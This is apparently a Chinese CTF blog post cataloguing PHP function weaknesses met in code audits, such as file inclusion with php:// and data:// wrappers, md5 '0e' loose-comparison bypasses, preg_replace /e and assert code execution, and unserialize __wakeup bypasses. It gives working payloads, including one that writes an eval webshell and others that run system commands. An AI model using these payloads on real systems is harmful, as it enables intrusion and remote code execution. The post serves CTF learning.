php函数漏洞总结

做ctf代码审计时,经常会遇到各种各样的函数漏洞,但是都很散,我在这里整理一下,将会持续更新~

1.include
这个函数应该大部分ctfer都很熟悉了,就是文件包含漏洞了,还有其他的比如require,include_once,require_once。经典搭配就是和php伪协议一起使用。

常用场景包括:
(1)读取文件源码:php://filter/read=convert.base64-encode/resource=xxx.php
不过读来的是base64编码后的,解码一下就可以了。
(2)运行php代码:data://text/plain,<?php print_r(glob("*")); ?> 或者data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['h']);?>")?>

2.get_file_content
这个函数是将文件文件内容入读一个字符串中,但是配合php伪协议却可以实现一个很诡异的操作,而且在ctf题中也经常会遇到,那就是得到任何你想得到的回显。

即get_file_content(‘data:text/plain,xxxxxxx’)的返回值就是xxxxxxx。

3.MD5比较

php中的等于分为弱等于== 和 强等于===
(1)==绕过
==是不比较类型的,它会先把两个变量转化成同类型变量然后进行比较,因此可以设计一下,比如让两边都已0e开头,这样就会被看成科学计数法的0,即可相等
0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904

也可以用数组来绕过,因为md5数组会返回false。

md5('0e215962017') == '0e215962017'
mds(md5('0e1138100474')) == 0e1138100474

若是没有md5加密,只有==,那就可以构造字符串了,比如'123admin'==123 为真。
(2)===绕过
可以使用上面的数组绕过,当然还可以进行md5碰撞。

(3)md5在sql注入时

ffifdyop经md5加密后可以实现万能密码的功能,以为其加密后为' or '6xxxxx

4.preg_replace
这是一个正则替换的函数,当正则表达式设有e模式时,即存在一个代码执行漏洞,此漏洞导致我们可以运行php函数。即若此函数的第二个参数可控,即可执行任意代码。
贴一道相关的题目吧,前面的步骤我就略过了,找到一个中间文件的源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

根据代码明显时去运行getFlag函数,然后通过cmd传参命令执行。如何运行getFlag函数呢,就要通过preg_replace函数了,然而发现代码中preg_replace函数的第二个参数时固定的,但是查阅资料可知,strtolower(“\1”)即为\1,而\1去子匹配,所以可以构造payload:\S*=${phpinfo()}去执行函数,即\S*=${getFlag()} ,同时传入cmd参数即可进行命令执行了。

5.unserialize
此函数为反序列化函数,在ctf题中也是很常见的。它也有很多奇奇怪怪的bug。
(1)绕过wakeup函数
wakeup函数时在类中定义,然后运行unserialize函数时便会自动调用的有个函数,当然是可以绕过的,即若序列化的字符串为O:4:"Test":2:{s:1:"p";s:18:"find / -namelflag*""; s:4: "func";s:6: "system";}
只需要让Test后面的值大于原本的2即可绕过wakeup函数。
(2)绕过preg_match

if (preg match ( '/o : \d+:/i',$file) ) { 
	die ( "hacking ! ! ! " );
}

若序列化的字符串为O:4:"Test":2:{s:1:"p";s:18:"find / -namelflag*""; s:4: "func";s:6: "system";}
只需在O后面的4前面加一个"+"号即可绕过preg_match。

6.strrev
反转字符串函数,当与include配合是,可以使用php伪协议绕过,因为php ?>之后的内容不会参与计算。例如file=data://text/plain,<?php phpinfo();?> >?;)(ofniphp php?<,nialp/txet//:atad 便可绕过strrev(file) == file

7.intval
得到变量整数值的函数,可以通过进制转换或者科学计数法进行绕过,或者±*/等等运算符进行绕过。

8.preg_match
正则匹配函数,可以用一些方法绕过,%0a,数组。

9.assert
这个assert函数和之前的preg_replace函数一样,是一个可以对字符串的php代码进行使用的函数
对于语句assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");其中$file为用户输入,可以构造payload') or system("ls"); //;实现命令执行漏洞。

…未完待续

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值